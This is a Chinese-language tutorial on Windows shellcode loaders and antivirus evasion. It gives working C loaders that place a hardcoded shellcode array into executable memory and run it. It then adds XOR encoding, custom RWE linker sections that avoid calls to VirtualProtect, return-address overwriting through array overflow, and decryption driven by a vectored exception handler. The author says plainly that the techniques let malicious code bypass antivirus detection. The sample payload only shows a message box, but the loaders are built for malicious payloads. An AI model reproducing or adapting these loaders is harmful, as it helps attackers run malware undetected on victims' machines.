shellcode
0x00-Shellcode
什么是shellcode
在计算机安全中,shellcode是一小段代码,可以用于软件漏洞利用的载荷。被称为“shellcode”是因为它通常启动一个命令终端,攻击者可以通过这个终端控制受害的计算机,但是所有执行类似任务的代码片段都可以称作shellcode。Shellcode通常是以机器码形式编写的,所以我们要学习硬编码
0x01-杀毒软件甄别病毒的技术原理
基于特征进行甄别
主要是病毒以前留下的信息,基于这些信息,我们可以判断存在病毒。
我们知道在PE文件中的.text段存放的是可执行代码,而杀毒软件会将其内容读取出来,并进行程序特征提取,判断可执行代码中是否存在病毒的特征,有的话就确定该程序存在病毒。
这也就是为什么病毒还未运行就被发现的原因。
基于病毒的行为进行甄别
主要是针对病毒行为的敏感操作,当病毒想干坏事的时候,难免会调用API,当出现比较敏感的操作时,确定该程序为病毒。
0x03-一个简单的Loader
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| #include<windows.h> #include<stdio.h>
unsigned char shellcode[] = "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C" "\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53" "\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B" "\x49\x0C\x8B\x09\x8B\x09\x8B\x69\x18\xAD\x3D\x6A\x0A\x38\x1E\x75" "\x05\x95\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD" "\x8B\x59\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE" "\x06\x3A\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24" "\x1C\x75\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03" "\xDD\x03\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9" "\x33\xDB\x53\x68\x74\x20\x00\x00\x68\x69\x6b\x61\x73\x68\x53\x61" "\x6e\x64\x8B\xC4\x53\x50\x50\x53\xFF\x57\xFC\x8B\xE6\xC3"; int main() { LPVOID Memory = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE,PAGE_EXECUTE_READWRITE); if (Memory == NULL) { return 1; } memcpy(Memory, shellcode, sizeof(shellcode));
((void(*)())Memory)(); return 0; }
|
运行时会直接弹出消息框
整个过程就是先开辟内存(注意要注意属性),然后将shellcode复制到内存中,再将我们复制的数据强制转换为函数并进行调用。这些行为和特征都是没有什么问题的,所以如果我们插入的是恶意代码,是可以绕过杀毒软件的。
0x04-优化Loader
内存分配优化
因为数据本身就占有内存,所以不需要重新进行分配,直接使用即可
改变属性
因为数据存储于数据段中,而我们要让其可以执行,则需要改变其属性为可执行
0xC000005报错表示内存访问的属性问题
1 2 3 4 5 6
| BOOL VirtualProtect( [in] LPVOID lpAddress, [in] SIZE_T dwSize, [in] DWORD flNewProtect, [out] PDWORD lpflOldProtect );
|
第一个参数是地址起始位置
第二个参数是需要改变的内存大小
第三个参数是想要改变的属性
主要有
第四个参数
所以我们要让他指向有效变量,而不能是NULL
最终效果
不知道为什么使用这种方法在VS会报错-无法强制转换
0x05-更进一步
因为上一步将内存的属性修改并执行,那么一定会审计我们的shellcode,如果shellcode存在恶意的行为,很快就会被辨别出来,所以我们要对其进行加密,使其无法被识别。当然要注意要进行解密操作。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48
| #include<windows.h> #include<stdio.h> #pragma data_seg("vdata")
unsigned char shellcode[] = "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C" "\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53" "\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B" "\x49\x0C\x8B\x09\x8B\x09\x8B\x69\x18\xAD\x3D\x6A\x0A\x38\x1E\x75" "\x05\x95\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD" "\x8B\x59\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE" "\x06\x3A\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24" "\x1C\x75\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03" "\xDD\x03\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9" "\x33\xDB\x53\x68\x74\x20\x00\x00\x68\x69\x6b\x61\x73\x68\x53\x61" "\x6e\x64\x8B\xC4\x53\x50\x50\x53\xFF\x57\xFC\x8B\xE6\xC3"; #pragma data_seg() #pragma comment(linker,"/SECTION:vdata,RWE")
int main() { for (int i = 0; i < sizeof(shellcode); ++i) { shellcode[i] ^= 0x23; } LPVOID Memory = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE,PAGE_EXECUTE_READWRITE); if (Memory == NULL) { return 1; } memcpy(Memory, shellcode, sizeof(shellcode)); for (int i = 0; i < sizeof(shellcode); ++i) { *((char*)Memory + i) ^= 0x23; }
((void(*)())Memory)();
return 0; }
|
因为杀毒软件可能将代码上传到云端跑(因为存在一些敏感行为,VirtualProtect等),这时候我们的shellcode可能被识别,所以我们要避免VirtualProtect操作,那么如何创建可读可写可执行的段呢。这时候就用到了预处理#pragma
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| #include<windows.h> #include<stdio.h> #pragma data_seg("vdata") unsigned char shellcode[] = "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C" "\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53" "\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B" "\x49\x0C\x8B\x09\x8B\x09\x8B\x69\x18\xAD\x3D\x6A\x0A\x38\x1E\x75" "\x05\x95\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD" "\x8B\x59\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE" "\x06\x3A\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24" "\x1C\x75\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03" "\xDD\x03\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9" "\x33\xDB\x53\x68\x74\x20\x00\x00\x68\x69\x6b\x61\x73\x68\x53\x61" "\x6e\x64\x8B\xC4\x53\x50\x50\x53\xFF\x57\xFC\x8B\xE6\xC3"; #pragma data_seg() #pragma comment(linker,"/SECTION:vdata,RWE") int main() { LPVOID Memory = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE,PAGE_EXECUTE_READWRITE); if (Memory == NULL) { return 1; } memcpy(Memory, shellcode, sizeof(shellcode));
((void(*)())Memory)(); return 0; }
|
效果展示
0x06-栈溢出
栈溢出基础
首先要先了解X86栈和函数调用的机制
首先先把call的下一条地址压入栈中,再把ebp压入栈,最后提升栈底,也就是mov ebp,esp,而函数内部的变量起始地址是ebp-0x04,依次往后,当给变量赋值过大的值时,可能会覆盖函数结束时ret的值,进而执行我们的shellcode
数组的赋值是从低地址往高地址赋值
所以我们可以通过数组越界覆盖ret原本的地址
代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| #include<stdio.h> #include<Windows.h> #include<iostream>
void Decshellcode() { MessageBoxA(0, "不要再打了", "我错了", MB_OK); } #pragma optimize("",off) int main() { int a = 2022; int arr[2] = { 1,2 }; int ti = 23; arr[5] = (int)Decshellcode; return 0; } #pragma optimize("",on)
|
这里会先把0xD61212压入栈中
然后将ebp的值压入栈
提升栈底就不看了,来看变量的赋值过程,可以看到是从栈底往低地址压入的
数组入栈
可以看到这里是不一样的,数组下标小的元素在低地址,所以可以通过数组越界覆盖原本压入的call下一条地址
arr[0]是首元素,那么arr[5]对应的就是ret的地址
1
| arr[5] = (int)Decshellcode;
|
将shellcode的地址覆盖ret的地址
注意要有一个值占用arr[4]的值,或者直接使用arr[4]访问即可。
分析利用
因为在Main函数中执行恶意代码是很容易被察觉的,所以我们要阻断Main函数和恶意代码的联系
我们需要做到既不调用函数,又能让函数执行,即栈溢出
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| #include<stdio.h> #include<Windows.h> void Decshellcode() { MessageBoxA(0, "不要再打了", "我错了", MB_OK); } #pragma optimize("",off) int main() { int a = 2022; int arr[2] = { 1,2 }; int ti = 23; arr[5] = (int)Decshellcode; } #pragma optimize("",on)
|
效果
分析
为什么会执行呢,我们知道调用函数在汇编中要有call,但是我们并没有发现call指令
0x07-shellcode的加密与释放
即使我们对shellcode代码进行了加密,但是我们的shellcode一定会被解密并释放出来,这时候就难以绕过检测,所以我们要将我们的shellcode执行完就被擦除掉,让其不留痕迹。
这时候就需要异常处理机制(VEH)和栈溢出同时利用,对逐条恶意代码指令进行解密,然后调用,注意再每条指令最后加上CC,然后解密完代码后再重新指向llcode,让其触发异常。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47
| #include<Windows.h> #include<stdio.h> #pragma data_seg("ldata")
char trapcode[] = "*"; unsigned long long llcode = 204; #pragma data_seg() #pragma comment(linker,"/SECTION:ldata,RWE") void Decshellcode() {
llcode = 0xF333333333333333; llcode <<= 2; char* data = (char*)&llcode;
MessageBoxA(0, "不要再打辣", "停下", MB_OK); return ; } long _stdcall ExceptionHandle(PEXCEPTION_POINTERS val) { if (val->ExceptionRecord->ExceptionCode == STATUS_BREAKPOINT) { Decshellcode(); val->ContextRecord->Eip = (DWORD)&llcode; return EXCEPTION_CONTINUE_EXECUTION; } else return EXCEPTION_CONTINUE_SEARCH; }
#pragma optimize("",off) int main() { AddVectoredExceptionHandler(1, ExceptionHandle); int bilibili = 2020; int arr[2] = { 1,2 }; int ti = 23; arr[5] = (int)&llcode; return 0; } #pragma optimize("",on)
|
https://www.cnblogs.com/hdtianfu/archive/2011/12/27/2303113.html
https://bbs.pediy.com/thread-190668.htm
AddVectoredExceptionHandler是异常处理机制try和except的封装,val->ExceptionRecord->ExceptionCode记录着异常的类型
shellcode注入
当然shellcode注入不止这种,还有其他的方法
https://myzxcg.com/2022/01/Windows-Shellcode-注入姿势/?msclkid=cfc9dbb7ba0c11ec874f49e6a2567021
https://cloud.tencent.com/developer/article/1787191
shellcode加密
https://www.cnblogs.com/LyShark/p/13033722.html
0x08-隐藏API
利用栈溢出隐藏API